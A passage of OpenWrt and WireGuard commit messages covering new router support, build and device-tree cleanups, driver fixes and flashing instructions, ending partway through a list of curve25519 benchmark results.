* netlink: remove libmnl requirement
We no longer require libmnl. It turns out that inlining the small subset of
libmnl that we actually use results in a smaller binary than the overhead of
linking to the external library. And we intend to gradually morph this code
into something domain specific as a libwg emerges. Performance has also
increased, thanks to the inliner. On all platforms, wg(8) only needs a normal
libc. Compile time on my system is still less than one second. So all in all
we have: smaller binary, zero dependencies, faster performance.
Packagers should no longer have their wireguard-tools package depend on
libmnl.
* embeddable-wg-library: use newer string_list
* netlink: don't pretend that sysconf isn't a function
Small cleanups.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
When changing compatibles in e4ba8c8294 ("brcm63xx: use more systematic
names for image and DTS files"), I forgot to update them in kernel
patches as well. So, do it now.
Fixes: e4ba8c8294 ("brcm63xx: use more systematic names for image and DTS files")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This uses the specific SOC names for several devices where the
Chip ID was used incorrectly before.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since the model string in DTS is not required to derive board name
anymore, we can now align it with the model name in Makefile and
the compatible.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch removes the translation of device model name into a
board name in lib/brcm63xx.sh. The latter has been actually totally
useless as we have the compatible which can be used instead of
the board name (and actually is at other targets like ath79 or ramips).
The change requires updating the base-files with the new
identifiers based on compatible.
With all "board names" replaced by the compatible, we do not need
the old scripts to detect board name anymore and can also remove
the obsolete treatment of "legacy" devices without DTS, as there
are none of those left. So, this patch removes the target-specific
board detection and uses the standard procedure in
package/base-files/files/lib/preinit/02_sysinfo
This also fixes several cases where the board name was not set or
evaluated correctly:
- asmax,ar1004g in 02_network
- telsey,magic in 09_fix_crc/02_network
- brcm,bcm96338gw in 02_network
- brcm,bcm96338w in 02_network
- brcm,bcm96348gw in 02_network
- dynalink,rta1025w in 02_network
- huawei,echolife-hg520v in 02_network
- several cases in diag.sh
The following orphaned identifiers are removed from board.d files:
- dmv-s0
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In brcm63xx image Makefile DEVICE_PACKAGE definitions are split
into multiple lines with no apparent need.
Merge them into one line to increase readability and maintainability.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This changes brcm63xx target to achieve consistency between image
names, device nodes names, compatible, DTS name and device name
as much as possible. As with other targets, having consistent
names is supposed to make life easier for developers and reduces
the number of "variables" in the system. In particular, applying
the DTS scheme will make it easier to find the correct file and
architecture.
DTS files are named based on the increasingly common
soc-vendor-model scheme, using hyphens for separation as this seems
to be the kernel way. Since the compatible is not used at the
moment, I took the chance to also align them with this patch.
For the SOC, the already existing CFE_CHIP_ID can be exploiting
for all but two devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Most of the broadcom packaging codes were moved to broadcom.mk in commit
7f984dab1c ("mac80211: move broadcom packaging code to broadcom.mk"),
but b43/install still remained. Move it now.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The $(space) definition in the hostapd Makefile ceased to work with
GNU Make 4.3 and later, leading to syntax errors in the generated
Kconfig files.
Drop the superfluous redefinition and reuse the working $(space)
declaration from rules.mk to fix this issue.
Fixes: GH#2713
Ref: https://github.com/openwrt/openwrt/pull/2713#issuecomment-583722469
Reported-by: Karel Kočí <cynerd@email.cz>
Suggested-by: Jonas Gorski <jonas.gorski@gmail.com>
Tested-by: Shaleen Jain <shaleen@jain.sh>
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The correct model name of WF-2881 is WF2881 without hyphen. The former used
boardnames are not added to SUPPORTED_DEVICES, to make it explicit that the
sysupgrade-tar image, which is newly added in the previous commit, should
not be used to upgrade from older version.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
WF-2881 sysupgrade image uses UBI rootfs, but still relies on
default_do_upgrade. Because of this, config backup is not restored after
sysupgrade. It can be fixed by switching to nand_do_upgrade and
sysupgrade-tar image. default_do_upgrade does not handle sysupgrade-tar
properly, so one should use factory image to upgrade from older version.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Inspired by commit c48b571ad7, add an LED trigger for the WAN LED on top of
the TP-Link TL-WR902AC v1. Currently, only the LED on the port itself shows the
link state, while the LED on top of the device stays dark.
The WAN port of the device is a hybrid LAN/WAN one, hence why the LED at the
port was labeled LAN.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
AR934x chips also got the 'old' qca,ar9330-uart in addition to the
'new' ns16550a compatible one. Add support for UART1 clock selector as
well as device-tree bindings in ar934x.dtsi to make use of that uart.
Reported-by: Piotr Dymacz <pepe2k@gmail.com>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
On AR934x this UART is usually not initialized by the bootloader
as it is only used as a secondary serial port while the primary
UART is a newly introduced NS16550-compatible.
In order to make use of the ar933x-uart on AR934x without RTS/CTS
hardware flow control, one needs to set the
UART_CS_{RX,TX}_READY_ORIDE bits as other than on AR933x where this
UART is used as primary/console, the bootloader on AR934x typically
doesn't set those bits.
Setting them explicitely on AR933x does not do any harm, so just set
them unconditionally.
Tested-by: Chuanhong Guo <gch981213@gmail.com
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Luxul ABR-4500 and XBR-4500 devices are wired routers with 5 Ethernet
ports and 1 USB 3.0 port. Flashing requires using Luxul firmware 6.4.0
or newer and uploading firmware using "Firmware Update" web UI page.
Signed-off-by: Dan Haab <dan.haab@legrand.com>
This new function make batch processing of network packets possible,
which slightly improves performance.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Tested-by: Rosen Penev <rosenp@gmail.com>
XTX XT25F128A shares it's chip ID with XM25QH128A which got identical
features. Hence there it makes no sense to add it to the driver.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
ar933x appears to have the same spi controller as ar934x but it's
not mentioned in datasheet at all. Use new spi driver instead to
gain more flash operating performance.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
A new shift mode was introduced since ar934x which has a way better
performance than current bitbang driver and can handle higher spi
clock properly. This commit adds a new driver to make use of this
new feature.
This new driver has chipselect properly configured and we don't need
cs-gpios hack in dts anymore. Remove them.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* compat: support building for RHEL-8.2
* compat: remove RHEL-7.6 workaround
Bleeding edge RHEL users should be content now (which includes the actual
RedHat employees I've been talking to about getting this into the RHEL kernel
itself). Also, we remove old hacks for versions we no longer support anyway.
* allowedips: remove previously added list item when OOM fail
* noise: reject peers with low order public keys
With this now being upstream, we benefit from increased fuzzing coverage of
the code, uncovering these two bugs.
* netns: ensure non-addition of peers with failed precomputation
* netns: tie socket waiting to target pid
An added test to our test suite for the above and a small fix for high-load CI
scenarios.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
This commit adds the ability to set custom uImage magic to
Build/wr1201-factory-header and renames it to
"Build/custom-initramfs-uimage".
Custom uImage header in initramfs image is required on following
devices:
- I-O DATA WN-AX1167GR2
- I-O DATA WN-AX2033GR
- I-O DATA WN-AX2033GR2
- I-O DATA WN-DX1167R
While at it, fix typo in comment.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
[shorten commit title, minor commit message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 96424c143d.
The commit changed libiwinfo's internal ABI which breaks a number of
downstream projects, including LuCI and rpcd-mod-iwinfo.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Bump procd package to reduce log spam related to missing jail binaries
in a non-jail capable system.
bcb8655 instance: add 'requirejail' attribute
An additional jail attribute 'requirejail' can now be used to indicate
mandatory use of a jailed environment and hence prevent process startup
in the event that the jail subsystem is unavailable.
Procd will now only log errors if jail is unavailable and 1) is a mandatory
requirement or 2) a procd debug level of at least 2 is in use.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
eba5a20 iwinfo: add device id for BCM43602
a6914dc iwinfo: add BSS load element to scan result
bb21698 iwinfo: add device id for Atheros AR9287
7483398 iwinfo: add device id for MediaTek MT7615E
Signed-off-by: David Bauer <mail@david-bauer.net>
dts file does not need to be executable. 644 is enough.
Fixes: f098c612b6 ("ramips: create shared DTSI for Netgear EX2700 and WN3000RP v3")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
kernel config and patch files do not need to be executable. 644 is enough.
Fixes: 01c8f2e97c ("mediatek: bump to v4.19")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Add Netgear WNDR3700v2 to the list of supported boards.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
[rebase, adjusted commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Remove read-only flag from U-boot environment partition for Netgear
WNDR3700 v1 and v2 so u-boot-envtools can modify data there.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Since whole target has been bumped to kernel 4.19 in 01c8f2e97c
("mediatek: bump to v4.19") we do not need the overwrite in mt7629
subtarget anymore.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds support for the COMFAST CF-E560AC, an ap143 based
in-wall access point.
Specifications:
- SoC: Qualcomm Atheros QCA9531
- RAM: 128 MB DDR2 (Winbond W971GG6SB-25)
- Storage: 16 MB NOR (Winbond 25Q128JVSO)
- WAN: 1x 10/100 PoE ethernet (48v)
- LAN: 4x 10/100 ethernet
- WLAN1: QCA9531 - 802.11b/g/n - 2x SKY85303-21 FEM
- WLAN2: QCA9886 - 802.11ac/n/a - 2x SKY85735-11 FEM
- USB: one external USB2.0 port
- UART: 3.3v, 2.54mm headers already populated on board
- LED: 7x external
- Button: 1x external
- Boot: U-Boot 1.1.4 (pepe2k/u-boot_mod)
MAC addressing:
- stock
LAN *:40 (label)
WAN *:41
5G *:42
2.4G *:4a
- flash (art partition)
0x0 *:40 (label)
0x6 *:42
0x1002 *:41
0x5006 *:43
This device contains valid MAC addresses in art 0x0, 0x6, 0x1002 and
0x5006, however the vendor firmware only reads from art:0x0 for the LAN
interface and then increments in 02_network. They also jump 8 addresses
for the second wifi interface (2.4 GHz). This behavior has been duplicated
in the DTS and ath10k hotplug to align addresses with the vendor firmware
v2.6.0.
Recovery instructions:
This device contains built-in u-boot tftp recovery.
1. Configure PC with static IP 192.168.1.10/24 and tftp server.
2. Place desired image at /firmware_auto.bin at tftp root.
3. Connect device to PC, and power on.
4. Device will fetch flash from tftp, flash and reboot into new image.
Signed-off-by: August Huber <auh@google.com>
[move jtag_disable_pins, remove unnecessary statuses in DTS, remove
duplicate entry in 11-ath10k-caldata, remove hub_port0 label in DTS]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Adapt Netgear WNDR3700v2 device identification string to ath79 naming
scheme by changing from 'wndr3700v2' to 'wndr3700-v2' (affects config,
makefile, init scripts and device tree definition).
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Package kernel module for Linear Technology MCP3021/3221 I2C connected
current and voltage monitor chips.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This adds a shared definition Device/tplink-v2 to common-tp-link.mk.
Though currently only one device in ath79 uses it, putting it in
the common file seems more organized. The definitions are based
on the implementation in ramips target, where a lot of devices
is using tplink-v2-* commands already.
The '-V "ver. 2.0"' suffix for Archer D50 v1 can be removed because
it's default in Build/tplink-v2-image anyway.
While at it, add TPLINK_HWREVADD and TPLINK_HVERSION to DEVICE_VARS,
which seems to have been overlooked when adding Archer D50 v1.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This renames Device/tplink-loader-okli to Device/tplink-safeloader-okli
since the latter more accurately describes the combination of
tplink-safeloader and loader-okli use there. The old version might
be confused with other uses of the okli loader.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As we have tplink-v2-header and tplink-v2-image recipes as well,
this patch renames the Device/tplink definition to Device/tplink-v1,
as it's using the tplink-v1-* commands. This should provide easier
distinction in the future.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Align subtargets makefiles names to actual subtargets.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This sorts the devices in image Makefiles alphabetically.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[fixed sorting in one case, add commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link RE200 v2 is a wireless range extender with Ethernet and 2.4G and 5G
WiFi with internal antennas. It's based on MediaTek MT7628AN+MT7610EN.
Specifications
--------------
- MediaTek MT7628AN (580 Mhz)
- 64 MB of RAM
- 8 MB of FLASH
- 2T2R 2.4 GHz and 1T1R 5 GHz
- 1x 10/100 Mbps Ethernet
- UART header on PCB (57600 8n1)
- 8x LED (GPIO-controlled), 2x button
There are 2.4G and 5G LEDs in red and green which are controlled
separately.
MAC addresses
-------------
The MAC address assignment matches stock firmware, i.e.:
LAN : *:0D
2.4G: *:0E
5G : *:0F
Installation
------------
Web Interface
-------------
It is possible to upgrade to OpenWrt via the web interface. Simply flash
the -factory.bin from OEM. In contrast to a stock firmware, this will not
overwrite U-Boot.
Serial console
--------------
Opening the case is quite hard, since it is welded together. Rename the
OpenWrt factory image to "test.bin", then plug in the device and quickly
press "2" to enter flash mode (no line feed). Follow the prompts until
OpenWrt is installed.
Unfortunately, this devices does not offer a recovery mode or a tftp
installation method. If the web interface upgrade fails, you have to open
your device and attach serial console.
Additonal notes
---------------
It is possible to flash back to stock by using tplink-safeloader to create
a sysupgrade image based on a stock update. After the first boot, it is
necessary upgrade to another stock image, otherwise subsequent boots
fail with LZMA ERROR 1 and you have to attach serial to recover the device.
Signed-off-by: Andreas Böhler <dev@aboehler.at>
[remove DEVICE_VARS change]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This moves the various variants of common device definitions for
TP-Link devices to a common Makefile common-tp-link.mk. This
provides the opportunity to reorganize and move parameters between
individual device definitions and the common ones.
While at it, also use the common definitions for previously
independent definitions where appropriate.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
I'm having another attempt at trying to getting the 'store dscp into
conntrack connmark' functionality into upstream kernel, since the
restore function (act_ctinfo) has been accepted.
The syntax has changed from 'savedscp' to 'set-dscpmark' since that
conforms more closely with existing functionality.
4.14 backport is more of a hack since the structure versioning
mechanism isn't in place.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
I'm having another attempt at trying to getting the 'store dscp into
conntrack connmark' functionality into upstream kernel, since the
restore function (act_ctinfo) has been accepted.
The syntax has changed from 'savedscp' to 'set-dscpmark' since that
conforms more closely with existing functionality.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This commit adds support for the NanoStation Loco M2/M5 XW devices
on the ath79 target (support was long ago available on ar71xx).
Specifications:
- AR9342 SoC @ 535 MHz
- 64 MB RAM
- 8 MB SPI flash
- 1x 10/100 Mbps Ethernet, 24 Vdc PoE-in
- AR8032 switch
- 2T2R 5 GHz radio, 22 dBm
- 13 dBi built-in antenna
- POWER/LAN green LEDs
- 4x RSSI LEDs (red, orange, green, green)
- UART (115200 8N1) on PCB
Flashing via TFTP:
- Use a pointy tool (e.g., pen cap, paper clip) and keep the reset
button on the device or on the PoE supply pressed
- Power on the device via PoE (keep reset button pressed)
- Keep pressing until LEDs flash alternatively LED1+LED3 =>
LED2+LED4 => LED1+LED3, etc.
- Release reset button
- The device starts a TFTP server at 192.168.1.20
- Set a static IP on the computer (e.g., 192.168.1.21/24)
- Upload via tftp the factory image:
$ tftp 192.168.1.20
tftp> bin
tftp> trace
tftp> put openwrt-ath79-generic-xxxxx-ubnt_nanostation-loco-m-xw-squashfs-factory.bin
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
There are several cases where phy-mode and status properties are
set again in DTS(I) files although those were set to the same values
in parent DTSI files already. Remove those cases (and thus also stop
their proliferation by copy/paste).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
A minority of ethernet-phy definitions seems to use numbers in label,
name and reg property relatively random. This patch aligns their
use to have the same numeric value for all of them.
While at it, improve order of properties/add newlines for the ethX
nodes where necessary.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The image creation for the mt7623a-rfb-emmc has been removed during
a patch refresh without specific comment. The corresponding base-files
entries and DTS patches for 4.14 are still there.
Since mt7623 is pretty dead and nobody has missed this device, let's
just remove the rest.
Fixes: 050da2107a ("mediatek: backport upstream mediatek patches")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: John Crispin <john@phrozen.org>
This converts the TP-Link TL-MR3020v3 board to use the WLAN throughput
LED trigger in order to react to all VAPs.
It also moves the WLAN trigger config of the TP-Link TL-WA801NDv5 to the
DTS and merges the now identical LAN LED configs.
Verified these changes on a TL-MR3020v3.
Signed-off-by: Jan Alexander <jan@nalx.net>
[changed commit title and extended commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 4716c843d6.
Netgear seems to use different partition layouts on the R6260, which
would require us to dynamically detect the position of (at least) the
factory partition.
Revert this fix to avoid breaking existing installations until a better
solution has been worked out.
Signed-off-by: David Bauer <mail@david-bauer.net>
This fixes support for Teltonika RUT9xx which in recent versions of
the device uses xt25f128b flash.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
DEVICE_PACKAGES is specified twice for the same device. Remove the
first (=older) assignment.
Fixes: 40692f0fb5 ("ramips: mt7620: select only the matching mt76 driver")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This ports the GL.iNet 6408/6416 from ar71xx.
The GL-Connect GL.iNet v1 routers are basically a TP-Link TL-WR710N with
more DRAM/Flash and console/GPIO header in the same small form-factor.
Specifications:
- SoC: Atheros AR9331
- CPU: 400 MHz
- Flash: 8/16 MiB
- RAM: 64 MiB
- WiFi: 2.4 GHz b/g/n (SoC)
- Ethernet: 2x 100M ports (LAN/WAN)
- USB: 1x 2.0
The difference between 6408 and 6416 is just the flash size. It looks like
only the 16 MiB version has been advertised, while the 6408 is a modified
version. There are also 1-port versions sold by third parties.
Installation:
Install the sysupgrade image via stock firmware GUI or upload it via uboot
(web-based). The device will be available at 192.168.1.1.
Attention: In ar71xx, the same board name is used for both flash versions.
So, please make sure you flash the correct ath79 image when upgrading.
This has been device-tested on a GL.iNet 6416.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The EEPROM offset for the NETGEAR R6260 is incorrect, thus no valid
calibration data is used.
Fix this only for the NETGEAR R6260, as it's currently unknown whether
or not other boards are affected.
Signed-off-by: David Bauer <mail@david-bauer.net>
The GL.iNet microuter-N300 (internally referred as MT300N-v4) is a
pocket-size travel router. It is essentially identical to the VIXMINI
(internally referred as MT300N-v3) but with double the RAM and
SPI-flash.
Additionally, set the label-mac for both the VIXMINI as well as the
microuter-N300.
Hardware
--------
SoC: MediaTek MT7628NN
RAM: 128M DDR2
FLASH: 16M
LED: Power - WLAN
BTN: Reset
UART: 115200 8N1
TX and RX are labled on the board as pads next to the SoC
Installation via web-interface
------------------------------
1. Visit the web-interface at 192.168.8.1
Note: The ethernet port is by default WAN. So you need to connect to
the router via WiFi
2. Navigate to the Update tab on the left side.
3. Select "Local Update"
4. Upload the OpenWrt sysupgrade image.
Note: Make sure you select not to preserve the configuration.
Installation via U-Boot
-----------------------
1. Hold down the reset button while powering on the device.
Wait for the LED to flash 5 times.
2. Assign yourself a static IPv4 in 192.168.1.0/24
3. Upload the OpenWrt sysupgrade image at 192.168.1.1.
Signed-off-by: David Bauer <mail@david-bauer.net>
Fixes handling CSA when using AP+STA or AP+Mesh
This change was accidentally dropped in commit 167028b75
("hostapd: Update to version 2.9 (2019-08-08)")
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Without this change, wpa-cli features depend on which wpad build variant was
used to build the wpa-cli package
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This updates the device definition name for octeon target to provide
more useful names for the images and be consistent with the increasing
number of targets following that scheme.
Since the target is not using device tree yet, this does not touch
board_name and thus sets BOARD_NAME in image Makefile to ensure
sysupgrade is still working.
While at it, move Build block before Device blocks and remove trailing
whitespace for CMDLINE.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This harmonizes the device node names (and thus the image names, too)
between subtargets of the mediatek target. So far, each subtarget
has somewhat used its own naming scheme. Now, we use the vendor_device
syntax there, too.
Since DTS names have different patterns and the target only contains
a few devices, this does not replace DEVICE_DTS by a calculated
default value (like for other targets).
SUPPORTED_DEVICES is adjusted based on the node rename where necessary,
though it looks like for several older devices it was not set up
correctly so far.
While at it, this also changes the DTS name for u7623-02-emmc-512m
to all-lower-case.
Cc: John Crispin <john@phrozen.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
It is generally more desirable to use older kernel versions for
dependencies, as this will require less changes when newer kernels
are added (they will by default select the newer packages).
Since we currently only have two kernels (4.14 and 4.19) in master,
this patch applies this logic by converting all LINUX_4_19 symbols
to their inverted LINUX_4_14 equivalents.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
"[[" is a bash extension for test. As the ash-implementation is not
fully compatible we drop its usage.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
[remove shebang, slightly facelift commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
"[[" is a bash extension for test. As the ash-implementation is not
fully compatible we drop its usage.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
"[[" is a bash extension for test. As the ash-implementation is not
fully compatible we drop its usage.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
"[[" is a bash extension for test. As the ash-implementation is not
fully compatible we drop its usage.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
[split patch, remove shebang, adjust commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
"[[" is a bash extension for test. As the ash-implementation is
not fully compatible we drop its usage.
Also change to "=" for simple test, which is sufficient. (see d6ac8ca76c)
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
[split patch, removed shebang]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In Linux kernel commit 8377bd2b9ee1 ("kbuild: Rename HOST_LOADLIBES to
KBUILD_HOSTLDLIBS") HOST_LOADLIBES was renamed to KBUILD_HOSTLDLIBS.
This patch adapts the OpenWrt kernel build to this new variable. Without
this change the kernel host tools would not link against the libraries
found in the staging directory.
Signed-off-by: Hauke Mehrtens <hauke.mehrtens@intel.com>
Call skb_orphan(skb) to call the owner's destructor function and make
the skb unowned.
This is necessary to prevent sk_wmem_alloc of a socket from overflowing,
which leads to ENOBUFS errors on application level.
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
This patch fixes the occurences of the following warning
message from the dtc:
Warning (reg_format): /soc/spi@78b5000/flash0@0/partitions/partition@0:reg:
property has invalid length (8 bytes) (#address-cells == 2, #size-cells == 1)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch converts the Qxwlan E2600AC image away from
the deprecated .bin file and to the new .qca4019 method.
As a result, we no longer need to carry around the
legacy support for handling .bin files.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
SOC: IPQ4018 / QCA Dakota
CPU: Quad-Core ARMv7 Processor rev 5 (v7l) Cortex-A7
DRAM: 256 MiB
NOR: 32 MiB
ETH: Qualcomm Atheros QCA8072 (1 port)
WLAN1: Qualcomm Atheros QCA4018 2.4GHz 802.11bgn 2:2x2
WLAN2: Qualcomm Atheros QCA4018 5GHz 802.11a/n/ac 2:2x2
INPUT: RESET Button
LEDS: White, Blue, Red, Orange
Flash instruction:
From EnGenius firmware to OpenWrt firmware:
In Firmware Upgrade page, upgrade your openwrt-ipq40xx-generic-engenius_emd1-squashfs-factory.bin directly.
From OpenWrt firmware to EnGenius firmware:
1. Setup a TFTP server on your computer and configure static IP to 192.168.99.8
Put the EnGenius firmware in the TFTP server directory on your computer.
2. Power up EMD1. Press 4 and then press any key to enter u-boot.
3. Download EnGenius firmware
(IPQ40xx) # tftpboot 0x84000000 openwrt-ipq40xx-emd1-nor-fw-s.img
4. Flash the firmware
(IPQ40xx) # imgaddr=0x84000000 && source 0x84000000:script
5. Reboot
(IPQ40xx) # reset
Signed-off-by: Yen-Ting-Shen <frank.shen@senao.com>
[removed BOARD_NAME]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Specifications
==============
- SOC: IPQ4018
- RAM: DDR3 256MB
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: IPQ4018, 2x2, front end SKY85303-11
- 5GHz: IPQ4018, 2x2, front end SKY85717-21
- Ethernet: 1x 10/100/1000Mbps, POE 802.3af
- PHY: QCA8072
- UART: GND, blocked, 3.3V, RX, TX / 115200 8N1
- LED: 1x red / green
- Button: 1x reset / factory default
- U-Boot bootloader with tftp and "emergency web server" accessible
using serial port.
Installation
============
Flash factory image from D-Link web UI. Constraints in the D-Link web UI
makes the factory image unnecessarily large. Flash again using
sysupgrade from inside OpenWrt to reclaim some flash space.
Return to stock D-Link firmware
===============================
Partition layout is preserved, and it is possible to return to the stock
firmware simply by downloading it from D-Link and writing it to the
firmware partition.
# mtd -r write dap2610-firmware.bin firmware
Quirks
======
To be flashable from the D-Link http server, the firmware must be larger
then 6MB, and the size in the firmware header must match the actual file
size. Also, the boot loader verifies the checksum of the firmware before
each boot, thus the jffs2 must be after the checksum covered part. This
is solved in the factory image by having the rootfs at the very end of
the image (without pad-rootfs).
The sysupgrade image which does not have to be flashable from the D-Link
web UI may be smaller, and the checksum in the firmware header only
covers the kernel part of the image.
Signed-off-by: Fredrik Olofsson <fredrik.olofsson@anyfinetworks.com>
[added WRGG Variables to DEVICE_VARS, squashed spi pinconf/mux,
added emd1's gmac0 config,fix dtc warnings]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This adds the missing assignment of DEFAULT_SOC to the SOC variable
by default.
Fixes: 09ee51c614 ("lantiq: define SOC only once for uniform targets")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In lantiq there are several subtarget where all devices have the
same value set to the SOC variable for each device individually.
This patch introduces a non-device-dependent variable DEFAULT_SOC,
which is used if no specific SOC is set for a device, and thus reduces
the number of redundant definitions drastically.
This is applied to all subtargets except xway, as only the latter has
two different SOCs.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The DTS_DIR variable is not a device variable, thus it should not
be set inside Device/Default but globally.
Fixes: c640370939 ("lantiq: use soc_vendor_device scheme on DTS file")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The number 3 was accidentally removed from the name during split
of DEVICE_TITLE.
Fixes: fd66687058 ("lantiq: split up DEVICE_TITLE")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In ramips, all devices in mt7621, mt76x8 and rt288x subtarget have
the same value set to the SOC variable for each device individually.
This patch introduces a non-device-dependent variable DEFAULT_SOC,
which is used if no specific SOC is set for a device, and thus reduces
the number of redundant definitions drastically.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* Makefile: remove pwd from compile output
* Makefile: add standard 'all' target
* Makefile: evaluate git version lazily
Quality of life improvements for packagers.
* ipc: simplify inflatable buffer and add fuzzer
* fuzz: add generic command argument fuzzer
* fuzz: add set and setconf fuzzers
More fuzzers and a slicker string list implementation. These fuzzers now find
themselves configuring wireguard interfaces from scratch after several million
mutations, which is fun to watch.
* netlink: make sure to clear return value when trying again
Prior, if a dump was interrupted by a concurrent set operation, we'd try
again, but forget to reset an error flag, so we'd keep trying again forever.
Now we do the right thing and succeed when we succeed.
* Makefile: sort inputs to linker so that build is reproducible
Earlier versions of make(1) passed GLOB_NOSORT to glob(3), resulting in the
linker receiving its inputs in a filesystem-dependent order. This screwed up
reproducible builds.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
* Makefile: strip prefixed v from version.h
This fixes a mistake in dmesg output and when parsing the sysfs entry in the
filesystem.
* device: skb_list_walk_safe moved upstream
This is a 5.6 change, which we won't support here, but it does make the code
cleaner, so we make this change to keep things in sync.
* curve25519: x86_64: replace with formally verified implementation
This comes from INRIA's HACL*/Vale. It implements the same algorithm and
implementation strategy as the code it replaces, only this code has been
formally verified, sans the base point multiplication, which uses code
similar to prior, only it uses the formally verified field arithmetic
alongside reproducable ladder generation steps. This doesn't have a
pure-bmi2 version, which means haswell no longer benefits, but the
increased (doubled) code complexity is not worth it for a single
generation of chips that's already old.
Performance-wise, this is around 1% slower on older microarchitectures,
and slightly faster on newer microarchitectures, mainly 10nm ones or
backports of 10nm to 14nm. This implementation is "everest" below:
Xeon E5-2680 v4 (Broadwell)
armfazh: 133340 cycles per call
everest: 133436 cycles per call
Xeon Gold 5120 (Sky Lake Server)
armfazh: 112636 cycles per call
everest: 113906 cycles per call
Core i5-6300U (Sky Lake Client)
armfazh: 116810 cycles per call
everest: 117916 cycles per call
Core i7-7600U (Kaby Lake)
armfazh: 119523 cycles per call
everest: 119040 cycles per call
Core i7-8750H (Coffee Lake)
armfazh: 113914 cycles per call
everest: 113650 cycles per call
Core i9-9880H (Coffee Lake Refresh)
armfazh: 112616 cycles per call
everest: 114082 cycles per call
Core i3-8121U (Cannon Lake)
armfazh: 113202 cycles per call
everest: 111382 cycles per call
Core i7-8265U (Whiskey Lake)
armfazh: 127307 cycles per call
everest: 127697 cycles per call
Core i7-8550U (Kaby Lake Refresh)
armfazh: 127522 cycles per call
